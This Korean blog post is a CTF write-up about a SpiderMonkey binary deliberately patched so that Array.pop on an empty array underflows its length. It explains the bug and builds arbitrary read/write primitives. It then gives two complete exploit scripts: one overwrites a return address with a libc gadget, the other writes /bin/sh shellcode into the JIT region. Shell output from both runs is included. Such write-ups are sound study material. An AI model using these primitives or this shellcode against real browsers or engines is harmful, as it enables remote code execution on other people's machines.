blackperl security blog에서 포스트 읽다가 기억난 김에 풀어본 문제.
글 읽고 익스를 새로 짜봤다.
https://bpsecblog.wordpress.com/2017/04/27/javascript_engine_array_oob/
Files
-rwxr-xr-x 1 pwn3r pwn3r 5857384 Feb 12 2017 js
-rwxr-xr-x 1 pwn3r pwn3r 95155 Feb 12 2017 jsarray.cpp
-rw-r--r-- 1 pwn3r pwn3r 95297 Feb 12 2017 jsarray_original.cpp
Mozilla의 SpiderMonkey Javascript engine을 취약하게 패치한 문제.
3개의 파일이 주어졌다. (1) 인터프리터 (2) 패치 된 jsarray.cpp (3) 패치 전 jsarray_original.cpp
$ ./js
js> print('hello')
hello
$ ./js hello.js
hello
Diffing (jsarray.cpp vs jsarray_original.cpp)
jsarray.cpp에서 pop attribute를 약간 수정했다. 기존(우측)에 index == 0일때 아무런 작업도 이루어지지 않도록 check가 있지만, 패치 된 소스에서는 index == 0일 때도 pop이 이루어진다. 따라서 length가 0일때 pop을 하면, length = -1(0xffffffff)이 될 수 있다. 이는 oob(out of boundary) read/write로 이어진다.
$ ./js
js> a = new Array(1);
[,]
js> a.pop();
js> a.pop();
js> a.length;
4294967295 // 0xffffffff
OOB RW -> Arbitrary RW
$ ./js
js> var arr = new Array(1);js> arr.length; 1
js> arr[0x301];js> // no...
js> arr.pop();
js> arr.pop(); js> arr.length 4294967295
js> arr[0x301] 6.9411824707387e-310// yes!!
function mem_to_value(m){
var t = new Float64Array([m]);
t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}
function hex(n){
return "0x"+n.toString(16);
}
function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}
js> hex(mem_to_value(arr[0x301]))
"0x7fc6a1f264e0"
arr = new Array(1);
arr2 = new Uint32Array(0x900);
arr.pop();
arr.pop();
..........................................................
function read_data(addr){
arr[arr2_idx] = value_to_mem(addr);
return arr2[1] * 0x100000000 + arr2[0];
}
function write_data(addr, value){
arr[arr2_idx] = value_to_mem(addr);
arr2[0] = value % 0x100000000;
arr2[1] = parseInt(value / 0x100000000);
}
arr = new Array(1);
arr2 = new Uint32Array(0x900);
arr.pop();
arr.pop();
var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;
print('js_heap base : '+hex(js_heap));
// find arr2 object by size(0x900)
for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;
이제 Arbitrary read/write가 가능하므로 어떤 부분을 overwrite 하여 exploit 할지 결정하면 된다.
공부를 위해 2가지 방법으로 풀이해봤다.
(1) stack 주소를 leak해서 return address를 overwrite
(2) 반복된 코드를 이용해 JIT 영역을 생성 후, JIT 영역에 shellcode overwrite
(1) Way 1 - overwrite return address
사실 이 방법으로 풀이하는 것은 굉장히 간단하다.
1. javascript heap에서 vtable 포인터를 찾아 pie_base를 구한다. 2. pie_base로 계산한 got에서 libc주소를 구한다. 3. libc_argv에서 stack주소를 구한다. 4. main's return address에 one gadget 주소를 overwrite 한다. |
위 순서로 stack 주소를 알아내고 return address를 덮어썼다.
var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;
.........................
.........................
pie_base = read_data(vtable_ptr) - 0x7912c0;
strlen_got = pie_base + 0x78bbd8;
print('pie_base : '+hex(pie_base));
libc_base = read_data(strlen_got) - 0x8b720;
libc_one_gadget = libc_base + 0x4526a;
libc_argv = libc_base + 0x3c92f8;
print('libc_base : '+hex(libc_base));
heap_base = read_data(js_heap) - 0x46d00;
first_free_chunk = heap_base + 0xe5bb0;
stack_retaddr = read_data(libc_argv) - 0xe0;
write_data(stack_retaddr + 0x38, 0x0);
write_data(stack_retaddr, libc_one_gadget);
Full exploit
function mem_to_value(m){
var t = new Float64Array([m]);
t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}
function hex(n){
return "0x"+n.toString(16);
}
function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}
arr = new Array(1);
arr2 = new Uint32Array(0x900);
arr.pop();
arr.pop();
var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;
print('js_heap base : '+hex(js_heap));
// find arr2 object by size(0x900)
for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;
function read_data(addr){
arr[arr2_idx] = value_to_mem(addr);
return arr2[1] * 0x100000000 + arr2[0];
}
function write_data(addr, value){
arr[arr2_idx] = value_to_mem(addr);
arr2[0] = value % 0x100000000;
arr2[1] = parseInt(value / 0x100000000);
}
pie_base = read_data(vtable_ptr) - 0x7912c0;
strlen_got = pie_base + 0x78bbd8;
print('pie_base : '+hex(pie_base));
libc_base = read_data(strlen_got) - 0x8b720;
libc_one_gadget = libc_base + 0x4526a;
libc_argv = libc_base + 0x3c92f8;
print('libc_base : '+hex(libc_base));
heap_base = read_data(js_heap) - 0x46d00;
first_free_chunk = heap_base + 0xe5bb0;
stack_retaddr = read_data(libc_argv) - 0xe0;
write_data(stack_retaddr + 0x38, 0x0);
write_data(stack_retaddr, libc_one_gadget);
(2) Way 2 - overwrite JIT area
SpiderMonkey javascript engine은 반복되는 코드가 있으면, rwx 권한의 JIT area를 할당하고 반복되는 코드에 대해 native code를 생성하여 JIT area에 write한다. 이후 반복되는 코드를 수행하면 JIT area에 있는 native code를 실행하여 실행속도를 높인다.
function repeat_me(a1, a2){
var nothing = a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
}
// create JIT area
for(i=0; i<40; i++){
repeat_me();
}
위 코드가 수행되고 나면 아래와 같이 rwx 영역이 생성되고, JIT area에 repeat_me() 함수에 대한 native code가 생성된다.
7ffff79a0000-7ffff79b9000 r-xp 00000000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff79b9000-7ffff7bb8000 ---p 00019000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bb8000-7ffff7bb9000 r--p 00018000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bb9000-7ffff7bba000 rw-p 00019000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bba000-7ffff7bd2000 r-xp 00000000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7bd2000-7ffff7dd1000 ---p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd1000-7ffff7dd2000 r--p 00017000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd2000-7ffff7dd3000 rw-p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7f9c000-7ffff7fe4000 rw-p 00000000 00:00 0
7ffff7fe7000-7ffff7ff7000 rwxp 00000000 00:00 0 // JIT area
7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]
디버깅을 통해 메모리에서 repeat_me함수의 코드가 있는 JIT area 주소를 찾아보았다. 그 때, JIT area를 가리키는 포인터 주변에 0x2000000020f 라는 상수값이 있는 것을 확인했고, 이를 기준으로 JIT area의 주소를 얻어왔다.
// find JIT area ptr
for(i=arr2_idx; mem_to_value(arr[i]) != 0x2000000020f; i++);
jit_idx = i - 2;
// get JIT area address
jit_mem = mem_to_value(arr[jit_idx]);
주소를 알아냈으니 shellcode를 overwrite 하고 repeat_me() 함수를 호출하면 된다. shellcraft로 생성한 x64 /bin/sh shellcode를 사용했다.
function write_shellcode(addr){
// add padding for 4byte alignment
shellcode = "jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05";
shellcode += "\x00" * (4-shellcode.length % 4)
// arr2 = JIT area
arr[arr2_idx] = value_to_mem(addr);
for(i=0; i<shellcode.length; i+=4){
var slice = 0;
for(j=0; j<4; j++) slice |= shellcode.charCodeAt(i+j) << (8*j);
arr2[i / 4] = slice;
}
}
// write /bin/sh shellcode
write_shellcode(jit_mem);
// trigger
repeat_me();
Full exploit
function mem_to_value(m){
var res = 0;
var t = new Float64Array([m]);
t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}
function hex(n){
return "0x"+n.toString(16);
}
function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}
arr = new Array(1);
arr2 = new Uint32Array(0x900);
// trigger vuln
// arr.length = 0xffffffff
arr.pop();
arr.pop();
// find arr2 object by size(0x900)
var arr2_idx = 0;
for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;
function repeat_me(a1, a2){
var nothing = a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
}
b = Math.cos(0x34);
// create JIT area
for(i=0; i<40; i++){
repeat_me();
}
c = Math.cos(0x56);
// find JIT area ptr
for(i=arr2_idx; mem_to_value(arr[i]) != 0x2000000020f; i++);
jit_idx = i - 2;
// get JIT area address
jit_mem = mem_to_value(arr[jit_idx]);
function write_shellcode(addr){
// add padding for 4byte alignment
shellcode = "jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05";
shellcode += "\x00" * (4-shellcode.length % 4)
// arr2 = JIT area
arr[arr2_idx] = value_to_mem(addr);
for(i=0; i<shellcode.length; i+=4){
var slice = 0;
for(j=0; j<4; j++) slice |= shellcode.charCodeAt(i+j) << (8*j);
arr2[i / 4] = slice;
}
}
// write /bin/sh shellcode
write_shellcode(jit_mem);
// trigger
repeat_me();
Run exploit
$ ./js ex_stack.js
js_heap base : 0x7f1db8200000
pie_base : 0x55d26f6df000
libc_base : 0x7f1db89d1000$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)
$ ./js ex_jit.js
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)
'CTF > 2017' 카테고리의 다른 글
HITB GSEC 2017 - babyqemu (0) | 2018.12.03 |
---|---|
XCTF FINAL 2017 - xmail (0) | 2018.10.06 |
XCTF FINAL 2017 - network (0) | 2018.10.06 |
CODEGATE 2017 FINAL - petshop (0) | 2017.06.04 |
CODEGATE 2017 FINAL - Building Owner (0) | 2017.06.04 |